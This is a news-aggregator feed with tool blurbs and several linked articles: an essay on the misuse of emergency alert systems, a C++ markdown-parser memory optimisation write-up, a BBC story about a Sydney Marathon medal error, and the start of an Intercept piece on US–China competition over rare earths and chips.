    Content extractors handle structured data from supported formats and websites. Semantic search is optional.

    • Content extractors
    • Semantic search
    • Language aware indexes
    • Readable previews

    Apply index rules

    Skip and priority rules control indexing and ranking. Versioning can retain earlier document content.

    • Skip rules
    • Priority rules
    • Version tracking
    • Sensitive content checks

    Use multiple interfaces

    The same index is available through the web interface, terminal client, CLI, HTTP API, and MCP server.

    • Web interface
    • Terminal interface
    • HTTP API and CLI
    • MCP server

    Choose a deployment

    A single binary can run locally. Shared servers support user scoped access with SQLite or PostgreSQL.

    • No config quickstart
    • SQLite or PostgreSQL
    • Multiple users
    • Docker and Nix

    Additional capabilities

    Hister also supports multiple crawler backends, language specific indexes, content versioning, ownership rules, and configurable extractors.

    Explore docs

    And then the men with guns tell you to do it anyway

    Lobsters
    shkspr.mobi
    2026-08-23 08:15:54
    Comments...
    Original Article

    In early February 2011 Egypt was in the middle of a political revolution . One morning, everyone's phones suddenly pinged with an alert.

    The Armed Forces asks Egypt's honest and loyal men to confront the traitors and criminals and protect our people and honour and our precious Egypt.

    A series of messages arrived all ostensibly from the network provider Vodafone. All pro-regime and all with the undercurrent of violence.

    Why did Vodafone send these messages? Earlier in the week, all Internet access was cut off now phones were blasting propaganda to the masses.

    After the network went down, Vodafone issued a statement saying:

    It has been clear to us that there were no legal or practical options open to Vodafone, or any of the mobile operators in Egypt, but to comply with the demands of the authorities.

    Do you have to follow orders? Do you have to obey the law even when it is unjust? Should multinational corporations instruct local executives to be loyal to their parent company or the rulers of the country they live in?

    After the messages came in - including promises that " The Armed Forces cares for your safety and well being and will not resort to using force against this great nation " - Vodafone Global, safely ensconced in the UK, put out another statement:

    Under the emergency powers provisions of the Telecoms Act, the Egyptian authorities can instruct the mobile networks of Mobinil, Etisalat and Vodafone to send messages to the people of Egypt. They have used this since the start of the protests. These messages are not scripted by any of the mobile network operators and we do not have the ability to respond to the authorities on their content.

    Vodafone Group has protested to the authorities that the current situation regarding these messages is unacceptable. We have made clear that all messages should be transparent and clearly attributable to the originator.

    Statements - Vodafone Egypt

    A few years later I was at a networking event chatting to a guy. We'd both previously worked for Vodafone. Me in the UK, he in Egypt. I asked him about the incident - he talked about how they built the SMS infrastructure, what they did to secure it, how they prevented spam, and how one day armed men arrived.

    I suspect most of us have seen a movie where some flunky in an office refuses the baddies demands to open the safe, and then gets shot in the head. Perhaps you think that's a noble death? He lived with honour and refused to yield! But, in every movie I've seen, the guy's subordinate opens the safe anyway and gets to live.

    But we're technologists, right? We can build fail safes and cryptographic proofs and simply build infrastructure that can't be abused .

    And then the men with guns come and tell you what to do.

    I've written before about Civic Hygiene - it's the idea that we should be mindful of the ways that our technologies could be misused. The term was coined back in 2010 by the technologist Bruice Schneier

    It's bad civic hygiene to build technologies that could someday be used to facilitate a police state.

    But what do we mean by that?

    We don't want backdoors in security products - lest hackers break in or evil governments get elected. But we want a way to access our beloved ones' data after they die. It's important that we know that photos haven't been manipulated by propagandists and saboteurs. But we want to send funny memes about that politician we don't like. We don't want police stalking ex girlfriends' cars - but we want dangerous drivers prosecuted.

    We want to be alerted about imminent threats, but don't want Governments to use that power for ill.

    Way back in the early 2020s, I had a minor role in the UK Government's adoption of Common Alerting Protocol the technology which powers cell-broadcast emergency alerts.

    Even back then, one of the discussions was around whether the utility of being able to send an unavoidable push notification was worth the risk that someone would send an inappropriate message. Fresh in everyone's minds was the false alarm saying missiles were heading to Hawaii .

    Emergency alert. BALLISTIC MISSILE THREAT INBOUND TO HAWAII. SEEK IMMEDIATE SHELTER. THIS IS NOT A DRILL.

    Too many safeguards means that a genuine alert doesn't get sent in time. Too few safeguards and you can blame " Human Error " for any mistakes.

    I don't know which safeguards are in place for the UK's system - and most details are exempt from Freedom of Information requests . But it is both easy and fun to speculate on how such a system might be designed.

    The Government generates an alert. It specifies where and when the alert should be sent. It sends that message to the network operators via a secure and private channel. Perhaps they also do some out-of-band verification like having the network operator call a pre-determined phone number to check the message's validity.

    At which point, the operator can choose to send the message or not.

    Or can they?

    In August 2026, the UK government instructed network operators to send this message:

    Alert about fire risk in the UK.

    Did the networks have to send that message? If they thought it wasn't serious enough, could they have refused? As far as I can tell, the law only talks about the fact that operators can disregard "spam" laws in order to send a mass message:

    A relevant public communications provider (P) may, for the purpose of providing an emergency alert service, disregard the restrictions on the processing of data relating to users or subscribers set out in paragraph (2) if the conditions set out in paragraph (3) are met.

    […]

    (3) The conditions are—

    (a)P is notified by a relevant public authority that—

    (i)an emergency within the meaning of section 1(1) of the Civil Contingencies Act 2004 has occurred, is occurring or is about to occur;

    Statutory Instrument 2015 No. 355

    I'm no expert, but I can't see anything in the spectrum licence nor in the Wireless Telegraphy Act which compels operators to process these messages.

    The usual British way is to ask people to play nicely and threaten them with regulation if they don't.

    Could the networks have refused to send the message about wildfires - or indeed any other message? If your least favourite politician gets their hands on the emergency alert system and tries to abuse it, would you want the networks to stand up to them?

    What if the network refuses to send the message because they're worried alerting people about a hurricane will lower the company's profits?

    What if armed thugs are sent in and the choice is send the message or die?

    I don't know what the answer is here. I think most people agree that it is broadly sensible to have a way to alert the population of emergencies. There's no mass media any more, we're not all listening to a single radio channel, or reading newspapers, or even on the same social media platforms. Sometimes there are emergencies and the Government has a duty to alert people to them.

    How would you design a system that simultaneously achieved all these goals:

    • Rapid sending of messages
    • Careful checking of the content of messages
    • Ability to quickly target a specific geographic area
    • Inability to mistakenly send a test message
    • Requiring strong proof that the message is authentic before sending
    • Resilient enough to work after significant damage to infrastructure
    • That networks have the ability to vet and ignore
    • That networks are compelled to send
    • Which can only be used for good
    • And cannot be used for evil.

    In truth, having experienced fire-starters , I'm not bothered about the contents of this latest message from the UK Government. Given the overstretched fire service and the imminent threat across most of the country, my personal opinion is that it is proportionate.

    But it is easy to see why some people feel this might open the gateway to messages which, at best, are irrelevant and, at worst, are similar to the insidious propaganda which appeared on the phones of Egyptians:

    To every mother-father-sister-brother, to every honest citizen. Preserve this country as the nation is forever.

    Perhaps you can think of a way to design an alerting system which cannot be abused - but I can't.

    Are there any decent programs for pdf viewing and editing for Linux that replace Adobe Acrobat?

    Lobsters
    lobste.rs
    2026-08-23 08:08:25
    Alternate title:How is there still no decent Linux replacement for Adobe Acrobat (pdf viewing and editing)? There are plenty of viewing programs, some page editing programs, but simply nothing that also allows actual image editing, outline creation, etc. PDF4QT does some of these but is not ideal....
    Original Article

    Alternate title:How is there still no decent Linux replacement for Adobe Acrobat (pdf viewing and editing)?

    There are plenty of viewing programs, some page editing programs, but simply nothing that also allows actual image editing, outline creation, etc. PDF4QT does some of these but is not ideal.

    Optimizing memory usage in a markdown parser

    Lobsters
    blog.kowalczyk.info
    2026-08-23 07:51:43
    Comments...
    Original Article

    I’m porting gpui-component (a Rust UI component library built on GPUI) to C++ as gpui-cpp . By which I mean: my friend Claude does the porting, I’m just directing.

    It uses markdown-rs (a CommonMark + GFM parser) markdown parser so I ported it too.

    Then I optimized it.

    This post describes what I did with the intention of teaching other how to optimize C++ code.

    The starting point

    There are 2 kinds of markdown parser:

    • those that stream nodes as they parse
    • those that build an AST in memory

    markdown-rs builds an AST. The game is about minimizing the size of AST node.

    In Rust there are various kinds of nodes, the largest being 152 bytes.

    Claude generated a single Node struct of 232 bytes.

    I got it down to 16 bytes.

    Here’s the initial Node struct, before optimizations:

    Node, 232 bytes k children 24 position 24 8 string fields — 128 bytes align 24 nums 16 grey = padding and small fields · blue = growable vector · yellow = pointer+length strings Node, 16 bytes (same scale) lastKid · sibling · firstStr · kind+flags

    Where the 232 went: 8 string fields at 16 bytes each (a char* plus a length), two growable vectors at 24 bytes each (children and table alignments), a 24-byte unist Position (line, column and offset at each end), six bool s one to a byte, and the padding all of that dragged in.

    Every node in the tree pays for every field, whichever kind it is. A Text node uses one string field and nothing else.

    Arena allocator

    It’s important that all allocations are done in an arena.

    Nodes in a parse tree all have the same lifetime which makes it a perfect use for an arena: a bump allocator that can only grow. The only way to free memory is to reset the arena.

    This is different than calling malloc() to allocate each node individually and then having to call free().

    It makes it easy to measure memory usage: check the arena size after parsing.

    It also allows optimization tricks like compressing pointers.

    How I measured

    bun cmd/bench.ts markdown parses 64 KB of markdown in four shapes and reports the arena bytes the parse allocated:

    • prose — paragraphs, emphasis, links
    • nested lists — deep blockquotes and lists
    • gfm tables — tables all the way down
    • entities — text that is mostly &amp; -style character references

    The number is the whole arena: nodes, the tokenizer’s event list, and the strings. Not just sizeof(Node) × node count .

    We also measure parsing time to make sure we don’t trade size for speed.

    Baseline, 64 KB of source:

    • prose 1646.1 KB (25.7× the source)
    • nested lists 1067.9 KB
    • gfm tables 2926.0 KB
    • entities 660.2 KB

    On 64-bit platforms, pointers are 8 bytes. Pointer compression reduces this to 4 bytes by calculating a 32-bit offset against a base pointer.

    Google used compressed pointers in v8 with great result . Reduced memory usage and increased speed.

    Our string type is the simplest possible string:

    struct Str {
        char* data;
        size_t len;
    };
    

    That’s at least 12 bytes per string, if len is 4 bytes. Due to alignment, the size is 16 bytes.

    Strings are allocated in Arena so we can use the beginning of an arena as a base pointer and optimize the pointer from 8 bytes to 4 bytes.

    We typedef ArenaStr as uint64_t . The lower 4 bytes is uint32_t compressed pointer and upper uint32_t is size.

    We reduced the overhead of strings from 16 bytes to 8 bytes. Times 8 strings that’s 64 bytes saved per node.

    Added helper functions for allocating ArenaStr in arena and converting ArenaStr to Str .

    Savings: 8 strings * 8 bytes, 64 bytes per node: 232 → 168 bytes.

    shape start before after vs before vs start
    prose 1646.1 KB 1646.1 KB 1285.9 KB -21.9% -21.9%
    nested lists 1067.9 KB 1067.9 KB 867.5 KB -18.8% -18.8%
    gfm tables 2926.0 KB 2926.0 KB 2269.7 KB -22.4% -22.4%
    entities 660.2 KB 660.2 KB 626.2 KB -5.1% -5.1%

    Some strings had to grow. Arena allocator doesn’t provide freeing or reallocation. You can only allocate new strings, which wastes memory by leaving dead copies of the string we were appending to.

    We can grow the last allocated string and that’s what this change does. Luckily, most appends were done to the last string.

    ArenaStrAppend checks whether the string ends exactly where the arena’s next allocation would begin. If it does, the new bytes are pushed straight onto it and nothing is copied.

    Decoding HTML entities (e.g. &amp; ) broke that optimization by doing an allocation before appending to the string.

    We switched to decoding entities into a 4-byte stack buffer which enabled optimized append.

    shape start before after vs before vs start
    prose 1646.1 KB 1285.9 KB 1285.9 KB +0.0% -21.9%
    nested lists 1067.9 KB 867.5 KB 729.2 KB -15.9% -31.7%
    gfm tables 2926.0 KB 2269.7 KB 2269.7 KB +0.0% -22.4%
    entities 660.2 KB 626.2 KB 163.8 KB -73.8% -75.2%

    Unless told to pack the layout of the struct, C++ compilers align struct fields to the size of the largest primitive type. If you sandwich a bool between 2 uint64_t values, the bool will occupy 8 bytes ( sizeof(uint64_t) ) instead of 1 byte as it should.

    Our Node had such wasted space due to padding. My friend Claude was careless.

    A simple fix is to re-arrange fields, putting the largest first.

    We also had six bool field which we packed into a uint8_t flags field.

    Result: 168 → 144 bytes, with no padding at all.

    We’re beating Rust version now.

    declaration order: bool after vector = 7 bytes of padding, six times over vector b padding strings b padding largest first, bools in one byte: no padding vectors strings nums f
    shape start before after vs before vs start
    prose 1646.1 KB 1285.9 KB 1150.9 KB -10.5% -30.1%
    nested lists 1067.9 KB 729.2 KB 654.0 KB -10.3% -38.8%
    gfm tables 2926.0 KB 2269.7 KB 2023.6 KB -10.8% -30.8%
    entities 660.2 KB 163.8 KB 151.0 KB -7.8% -77.1%

    Free bytes: same fields, same code, different order.

    We compress pointer for all objects allocated in the arena, like we compressed a pointer to the string.

    ArenaVec<Node*> children held 8-byte addresses; ArenaPtr<T> is a 4-byte offset into the arena’s position space, resolved by ArenaAtOffset . Zero is null, which costs nothing because no allocation ever lands at offset zero.

    The Node itself doesn’t change size — a vector handle is the same three words whatever it holds — so all of the saving is in the child arrays.

    shape start before after vs before vs start
    prose 1646.1 KB 1150.9 KB 1091.9 KB -5.1% -33.7%
    nested lists 1067.9 KB 654.0 KB 611.6 KB -6.5% -42.7%
    gfm tables 2926.0 KB 2023.6 KB 1866.9 KB -7.7% -36.2%
    entities 660.2 KB 151.0 KB 144.9 KB -4.0% -78.1%

    These shapes rank by children-per-node rather than by node count, which is why tables moved most.

    ArenaStr was an offset and a length in 8 bytes. Now it’s the offset alone — 4 bytes — and the length is varint-encoded at the beginning of the string data:

    [varint len][string bytes][NUL]
    

    There are many varint encoding schemes. This one is for unsigned number and codes number < 128 as a single byte.

    Most strings are below that threshold, so they use a single byte for the varint length, saving roughly 3 bytes per string.

    Node shrinks from 144 → 112 bytes.

    Str — pointer + length, 16 bytes per field char* s int64 len ArenaStr — offset + length, 8 bytes u32 off u32 len ArenaStr — offset alone, 4 bytes; the length lives in the arena u32 off len characters 0

    Caveat: An offset-and-length string can point at a slice of another string, and a length-prefixed one can’t. We weren’t doing it so it doesn’t apply here.

    shape start before after vs before vs start
    prose 1646.1 KB 1091.9 KB 918.0 KB -15.9% -44.2%
    nested lists 1067.9 KB 611.6 KB 512.3 KB -16.2% -52.0%
    gfm tables 2926.0 KB 1866.9 KB 1543.6 KB -17.3% -47.2%
    entities 660.2 KB 144.9 KB 128.5 KB -11.3% -80.5%

    A List has a start number. A Heading has a depth . No node is ever both, so they became one uint32_t startOrDepth and kind says which it means.

    It didn’t shrink the size of Node due to the alignment padding but we did it anyway hoping that future optimization would shrink below padding.

    shape start before after vs before vs start
    prose 1646.1 KB 918.0 KB 918.0 KB +0.0% -44.2%
    nested lists 1067.9 KB 512.3 KB 512.3 KB +0.0% -52.0%
    gfm tables 2926.0 KB 1543.6 KB 1543.6 KB +0.0% -47.2%
    entities 660.2 KB 128.5 KB 128.5 KB +0.0% -80.5%

    7. Compressing text position ( ed5e807 )

    Each Node carried the info about its position in parsed text.

    It was expensive because it was stored as start and end fields and each of them was:

    • a uint32_t line
    • a uint32_t column
    • a uint32_t offset

    That’s 4*3*2 = 24 bytes.

    I assume this info is for debugging so not important for me.

    I replaced it with 2 uint32_t offsets into a source markdown string, srcStart and srcEnd .

    We can reconstruct the line/column position from that and the source string.

    shape start before after vs before vs start
    prose 1646.1 KB 918.0 KB 828.0 KB -9.8% -49.7%
    nested lists 1067.9 KB 512.3 KB 462.2 KB -9.8% -56.7%
    gfm tables 2926.0 KB 1543.6 KB 1379.6 KB -10.6% -52.9%
    entities 660.2 KB 128.5 KB 120.0 KB -6.6% -81.8%

    8. Further compression text position ( 6a558c4 )

    srcEnd is always after srcStart so we can delta-encode it and shrink to uint16_t .

    What if it’s bigger than 64 KB? I don’t care, we store it as 65535.

    This is another case where due to padding we didn’t shrink the struct size. But wait for it.

    shape start before after vs before vs start
    prose 1646.1 KB 828.0 KB 828.0 KB +0.0% -49.7%
    nested lists 1067.9 KB 462.2 KB 462.2 KB +0.0% -56.7%
    gfm tables 2926.0 KB 1379.6 KB 1379.6 KB +0.0% -52.9%
    entities 660.2 KB 120.0 KB 120.0 KB +0.0% -81.8%

    Some nodes have children that were stored as a growable vector. Empty vector was 24 bytes in the node.

    We replaced it with a ring of compressed pointers: the parent names its last child, each child names the next one, and the last child wraps back to the first.

    vector: 24 bytes in the node + a separate array of links ptr · len · cap kid0 kid1 kid2 spare spare ring: 4 bytes in the parent, 4 in each child, nothing else allocated parent kid0 kid1 kid2 lastKid

    We use a ring and not just a linked list because appending is the only thing the parser does to a child list. A single linked list requires walking the list to find the end, while a ring does not.

    Saving: 96 → 80 bytes .

    shape start before after vs before vs start
    prose 1646.1 KB 828.0 KB 619.0 KB -25.2% -62.4%
    nested lists 1067.9 KB 462.2 KB 308.8 KB -33.2% -71.1%
    gfm tables 2926.0 KB 1379.6 KB 898.7 KB -34.9% -69.3%
    entities 660.2 KB 120.0 KB 98.9 KB -17.6% -85.0%

    Caveat: accessing a child by index would require a walk through the ring, so indexing in a loop would be quadratic. In our code we only ask for the first or the last.

    For tables we were storing column alignments in a separate vector on every node, even though only Table nodes have them. Another 24 bytes per node.

    We switched to a compressed pointer which points to an optimized representation of the column alignments.

    There are four alignments (left, right, center, none), so a column needs 2 bits:

    [varint count][2 bits a column, four to a byte]
    

    The whole list is known when the table is entered, so it’s counted, allocated once and filled. For an 8-column table that’s 3 bytes in the arena and a 4-byte offset in the node.

    Saving: 80 → 60 bytes .

    We saved more than the 20 bytes because with the last pointer-holding member gone alignof(Node) fell from 8 to 4.

    shape start before after vs before vs start
    prose 1646.1 KB 619.0 KB 519.3 KB -16.1% -68.5%
    nested lists 1067.9 KB 308.8 KB 256.3 KB -17.0% -76.0%
    gfm tables 2926.0 KB 898.7 KB 710.3 KB -21.0% -75.7%
    entities 660.2 KB 98.9 KB 89.2 KB -9.8% -86.5%

    The block is pushed byte-aligned rather than through the general allocator, which rounds to 8 and would have handed back exactly what the varint saved.

    Previously we fused exclusive fields start of a List node and depth of a Heading node into a single uint32_t .

    We fused Table node column alignments info from previous optimization into the same field.

    We called it uint32_t perKind , and kind says what kind of value it is.

    Saving: 60 → 56 bytes.

    shape start before after vs before vs start
    prose 1646.1 KB 519.3 KB 483.9 KB -6.8% -70.6%
    nested lists 1067.9 KB 256.3 KB 233.7 KB -8.8% -78.1%
    gfm tables 2926.0 KB 710.3 KB 646.1 KB -9.0% -77.9%
    entities 660.2 KB 89.2 KB 86.1 KB -3.5% -87.0%

    We had 8 strings that were not all used by all nodes.

    Instead of figuring out how many strings we need at most, I created a linked list of strings in the arena. They are different than regular strings in that they carry a 4 byte compressed pointer to the next string within the arena and the kind of the strings.

    [u32 next][u8 kind][varint len][len bytes][NUL]
    

    We can add as many kinds of strings as we need but we only pay for used strings + 5 byte per-string overhead.

    Some nodes don’t have any strings.

    8 fields: 32 bytes on every node, 7 of them empty on almost all of them value url title alt ident label lang meta 1 field: 4 bytes, and a record only for what the node actually carries first next kind len characters 0 a stored string costs 5 bytes more · a node storing none saves 28

    New records go on the head, so storing is O(1), and the walk that finds a kind is at most 8 long and is almost always 1 or 0. In-place growth still works, because a record being the newest thing in the arena is the same condition it always was.

    Saving: 56 → 28 bytes.

    shape start before after vs before vs start
    prose 1646.1 KB 483.9 KB 358.3 KB -26.0% -78.2%
    nested lists 1067.9 KB 233.7 KB 159.1 KB -31.9% -85.1%
    gfm tables 2926.0 KB 646.1 KB 402.9 KB -37.6% -86.2%
    entities 660.2 KB 86.1 KB 73.7 KB -14.4% -88.8%

    As it happened we had two enums:

    • one needed 6 bits
    • another needed 2 bits

    We fused them from 2 bytes to 1 byte.

    Because this 1 byte saving dropped below padding we saved 4 bytes and went from 28 → 24 bytes .

    shape start before after vs before vs start
    prose 1646.1 KB 358.3 KB 321.2 KB -10.4% -80.5%
    nested lists 1067.9 KB 159.1 KB 136.5 KB -14.2% -87.2%
    gfm tables 2926.0 KB 402.9 KB 341.9 KB -15.1% -88.3%
    entities 660.2 KB 73.7 KB 70.4 KB -4.5% -89.3%

    At this point I decided that I didn’t need the position so I removed it. Other markdown parsers don’t carry it around so it doesn’t seem very useful.

    I reduced overhead of perKind by converting it to a record in the string list from step 12 — varint-encoded, under its own kind byte.

    A List, Heading or Table pays ~8 bytes for it; every other node pays nothing, where a field cost 4 bytes on all of them.

    Savings: 24 → 16 bytes .

    For safety arena allocator aligns allocations to 8 bytes but a 16 bytes Node can be allocated at 4 bytes, which we did.

    This reduces wasted space between allocations.

    shape start before after vs before vs start
    prose 1646.1 KB 321.2 KB 272.0 KB -15.3% -83.5%
    nested lists 1067.9 KB 136.5 KB 110.2 KB -19.3% -89.7%
    gfm tables 2926.0 KB 341.9 KB 250.5 KB -26.7% -91.4%
    entities 660.2 KB 70.4 KB 65.6 KB -6.8% -90.1%

    End results

    The results are pretty dramatic:

    sizeof(Node) prose nested tables entities
    start 232 1646.1 KB 1067.9 KB 2926.0 KB 660.2 KB
    end 16 272.0 KB 110.2 KB 250.5 KB 65.6 KB
    -93% -83.5% -89.7% -91.4% -90.1%

    A parse of 64 KB of prose cost 25.7× the source in arena bytes. It costs 4.2× now. The entities shape went from 10.3× to 1.02×.

    The speed was unchanged. Fastest of 3 runs:

    • prose 8.47 → 8.22 ms
    • nested 9.45 → 9.26 ms
    • tables 12.88 → 12.92 ms
    • entities 5.90 → 5.85 ms

    Those are within margin of error.

    The phase of building the tree got a measurable speed up: 0.397 → 0.302 ms, about 24% faster.

    This is from allocating less and touching fewer cache lines.

    This is not visible on micro benchmarks, but using less memory will slightly speed up the rest of the application.

    Lessons learned

    • Arranging struct fields by size is good . It costs literally nothing.
    • Pointer compression is good . 8 bytes become 4 bytes and the cost of converting back and forth is negligible, as Google shown in their v8 blog post and is re-inforced by our benchmarks
    • Varint-encoding is good . Most strings are short so varint encoding can save 3 bytes per string on average.
    • Moving rare fields out of line is good . The way we reduced 8 strings into an out-of-line list. Only pays off if savings is bigger than the cost of additional metadata.
    • sizeof only drops when the saving crosses an alignment boundary . Two of our changes didn’t reduce size of Node struct but it paid off in later optimizations.
    • The allocator’s alignment is part of sizeof . A 28-byte struct from an 8-aligned bump allocator is 32 bytes.
    • We need benchmarks . You can’t improve what you can’t measure. Our benchmarks measured both memory usage and speed, to ensure we didn’t regress speed to save memory.

    Sydney Marathon medal mistakenly depicts Munich stadium

    Hacker News
    www.bbc.com
    2026-08-23 06:14:48
    Comments...
    Original Article

    Sydney Marathon medal mistakenly depicts Munich stadium

    Instagram: sydney_marathon A photo showing the Sydney Marathon medal, as shared by organisers on social media. Instagram: sydney_marathon

    The medal design appears to show Munich's Allianz Arena on the bottom-right

    One week out from the world-renowned Sydney Marathon, organisers face questions about whether designers etched the wrong city's stadium on the participation medal.

    The medal appears to feature a stadium carved in the likeness of Allianz Arena in the German city of Munich, rather than Allianz Stadium in Sydney – which the 42.2km (26.2 mile) course runs past.

    The BBC has reached out to Sydney Marathon for comment.

    Some 40,000 runners will be taking part in the event on 30 August, after more than 120,000 ballot entries.

    Speculation about a possible mix-up began after Sydney Marathon's official social media account unveiled its design for the 2026 medal, inviting users to "look closely and you'll find the story of the course in the details".

    They continued: "A beautiful Sydney skyline brings the course to life, featuring the landmarks runners will experience along the way - starting with the Sydney Harbour Bridge and finishing at the world-famous Sydney Opera House."

    Getty Images A composite image showing Sydney's Allianz Stadium above Munich's Allianz Arena, for comparison. The first has a flatter façade smoothed with long bronze fins, while the Munich stadium is sculpted by thousands of diamond-shaped inflatable cushions. Getty Images

    The Munich arena (bottom) appears to feature on the medal instead of the Sydney landmark

    Munich's Allianz Arena is sculpted by thousands of diamond-shaped inflatable cushions, while Sydney's similarly-named Allianz Stadium has a flatter façade smoothed with long bronze fins.

    The other face of the double-sided medal features a gold and indigo pattern designed by First Nations artist Ambrose Killian. Forty-two half-round markings lining the circular edge "represent each kilometre of the course", organisers explained.

    Killian told the BBC he was not responsible for the other artwork.

    Instagram: sydney_marathon Front of the Sydney Marathon medal. Instagram: sydney_marathon

    The front of the Sydney Marathon medal features an artwork by Ambrose Killian

    The blunder follows a similar incident at last year's Great North Run in Newcastle, where medals mistakenly featured the Sunderland and Wear River – which is not part of the event.

    Sydney was announced as the seventh city added to the Abbott majors series in 2024, joining London, Berlin, Boston, Chicago, New York, and Tokyo. Cape Town is set to become the eighth city when it hosts its first marathon major next year.

    The Dawn of a New Cold War

    Intercept
    theintercept.com
    2026-08-23 06:10:00
    The growing tension between the United States and China boils down to a battle over resources. The post The Dawn of a New Cold War appeared first on The Intercept....
    Original Article

    Rocks vs. Chips

    When monsters square off, they are quick to showcase their asymmetrical superpowers.

    Take Godzilla, for instance. Thanks to U.S. atomic testing in the Pacific, the dinosaur-like sea creature has explosive, radioactive breath that can destroy everything in its path. His archenemy Rodan, meanwhile, is a pterodactyl-like bird that can fly at supersonic speeds, a skill useful in avoiding atomic bad breath. Since the 1960s, the two giant monsters have duked it out across a series of Japanese films, causing much mayhem in the process.

    Originally the product of Cold War fears of nuclear peril , these archetypal monsters can stand in for the principal geopolitical antagonists of today. Like their monster kin, China and the United States have very specific and complementary superpowers. China controls the majority of critical minerals in the world, with a special focus on rare earth elements. The United States has a technological edge when it comes to the most sophisticated semiconductors needed for artificial intelligence applications.

    Put bluntly: China has the rocks, and America has the chips.

    With these superpowers on display, the two countries have clashed in a series of trade negotiations, tense military standoffs, and high-level political meetings. They are engaged in a prolonged tug-of-war not to save the world — as in some comic-book universe — but in the service of their own national aggrandizement and transnational greed . While they dicker, the world slouches toward bedlam.

    A Pause in Hostilities

    When President Donald Trump met with Chinese leader Xi Jinping in Beijing in mid-May, the exchanges were unexpectedly cordial. The two countries had been engaged in an on-again, off-again war of tariffs since Trump had begun his second term, a conflict that threatened to spiral out of control. At the same time, the Chinese were deeply concerned about the impact of the U.S.–Israeli war against Iran on international stability, given spiking oil prices and their ripple effects on the global economy.

    Yet, at this meeting in China, the two leaders converged on a common goal of “constructive strategic stability.” In order to forge this condominium of superpowers — a G2 — Trump was willing to delay arms deliveries to Taiwan. He also greenlighted the sale of sophisticated (though not the most advanced) Nvidia computer chips to China. In turn, China agreed to increase its purchases from the United States, including 200 Boeing aircraft and $17 billion of agricultural goods each year through 2028.

    The hoopla surrounding the summit, generated by press offices on both sides, obscured the reality that the two countries completed few concrete bilateral deals. Trump did not secure long-term access to the critical minerals that China controls — specifically the rare earth elements that are essential to U.S. high-tech manufacturing and sophisticated military hardware — and the tech giants that accompanied Trump on the trip didn’t win any major concessions in the form of enhanced access to the Chinese market. Meanwhile, China failed to alter U.S. security policy in the Asia–Pacific region. The leaders of the new G2 might be expected to rethink or rework the global rules of the road, but this was not on the agenda in Beijing.

    Still, the two superpowers stepped off the path of escalating confrontation. Perhaps more importantly, Trump has seemingly abandoned his earlier goal of decoupling the United States from the Chinese economy, which, along with ratcheting up containment of the “strategic competitor,” had become something of a bipartisan imperative .

    For the time being at least, the world’s superpower monsters are not laying waste to the landscape around their feet. Given how much firepower they command, that’s no small achievement. The battle, however, continues to rage further afield in the mineral world.

    Grabbing the Rocks

    Rare earth elements, or REE, aren’t rare. But it can be quite difficult to extract any of these 17 unusual metals from their surrounding ores. The United States used to be the world’s leading extractor and processor of these resources, from a mine in California near the Nevada border. But that was back when REE were mostly used for such products as black-and-white televisions. The environmental damage caused by the extraction and processing — as well as the labor costs involved — impelled the United States, over time, to outsource operations to China.

    By the time REE had become indispensable to the manufacture of very powerful magnets used in everything from wireless iPhone chargers to the F-35 fighter jet , China was controlling upward of 60 percent of the extraction and 90 percent of the processing. It has filed more patents for the latest processing techniques than any other country. It has also expanded beyond digging up its own territory and, through its Belt and Road Initiative — a globe-spanning collection of interconnected infrastructure projects — secured access to mines overseas.

    In Tanzania, for instance, an Australian firm Peak Rare Earths discovered what may well be the largest untapped supply of REE in 2010. This is exactly what the United States and its allies had been looking for: ore that can be extracted and processed outside of China. Except that last year, the Chinese firm Shenghe Resources bought the Australian company — and the rights to the Tanzanian deposits — for a little more than $100 million . China is further cornering the market by importing ore from rare earth mines in Myanmar , exploiting new deposits in Brazil , and eying Malaysia and Indonesia for potential processing operations.

    To guarantee access to the minerals that both the Pentagon and U.S. industry need, the Trump administration has ramped up the exploitation of U.S. REE deposits. Mountain Pass, the California mine previously shuttered after environmental lawsuits and Chinese outsourcing, restarted production in 2012, but it still couldn’t compete against China, which had flooded the market with REE to drive down prices. Last year, the Pentagon acquired a majority stake in MP Materials, the company that owns the mine, which now produces over 10 percent of the global supply of REE.

    Trump has also pumped money into USA Rare Earths, which is developing the Round Top mine in Texas, which promises to rival the REE production of Mountain Pass. Even with an accelerated timeline, however, the new mine won’t start production before 2028 . Meanwhile, the administration is playing the field: pouring money into a REE processing facility in Arizona , contracting with a similar operation in France , and hammering out supply contracts with a mining firm in Australia . This frenzied activity may lessen dependency on China but not eliminate it.

    And it’s not just rare earth elements. China controls 95 percent of magnesium production, over 80 percent of tungsten, over 70 percent of graphite and silicon, and three-quarters of cobalt — minerals that are critical to pretty much all modern manufacturing. On the processing end, China is the leading refiner of 19 out of 20 of the most coveted minerals, with an average market share of 70 percent . And instead of being reliant on its control of raw materials and processed ores, China is also in command of the downstream production. For instance, it’s responsible for 94 percent of the manufacturing of the most powerful magnets that go into cars, computers, and medical equipment.

    The new rush for “critical raw materials,” many of them essential for building out the infrastructure of a “clean energy” transition but also indispensable for the entire range of advanced military products to which the United States is addicted, has sharpened the competition between China and the United States throughout the mineral-rich Global South. Those countries generally see China as a willing provider of capital and finance. They view Trump — who has dismissed so much of the Global South as “ shithole countries ,” deported huge numbers of their citizens, and subjected nearly all of their governments to punishing tariffs — with considerable skepticism.

    How long will it take for the United States to catch up and neutralize China’s mineral superpower? In the best-case scenario, America will only be able to meet half its need for rare earth elements by 2028, and it currently produces less than 1 percent of those powerful magnets. Until America catches up — or forges partnerships with other countries to meet its demand through initiatives such as the U.S.-led Pax Silica — China will be able to pinch off the supply of those key minerals more easily than Iran can close off the Strait of Hormuz.

    Controlling the Chips

    Silicon Valley has long been a byword for innovation: Apple’s iPhones, Google’s search engine, Facebook’s social media platform. But the heart of Silicon Valley was, at least originally, made out of silicon. Chips made the valley. In the 1980s, Japan produced semiconductors that were superior to anything American companies could get to market. Competition spurred Silicon Valley to leapfrog over Japan.

    The chip-designer Nvidia began in the 1990s as a supplier of graphic processing units, or GPUs, for the video game industry. These Nvidia chips became, literally, the brain behind Microsoft’s Xbox. Later, they came to power Sony’s PlayStation 3, signaling that Silicon Valley had definitively surpassed its Japanese competitors.

    Then Nvidia began developing the kind of hardware necessary for the next big tech revolution: artificial intelligence. The first major AI platform available to the public — ChatGPT — was built on the foundation of Nvidia’s next-generation GPUs. Suddenly, Nvidia was the most sought-after supplier and the most valuable company in the world, now worth more than $5 trillion .

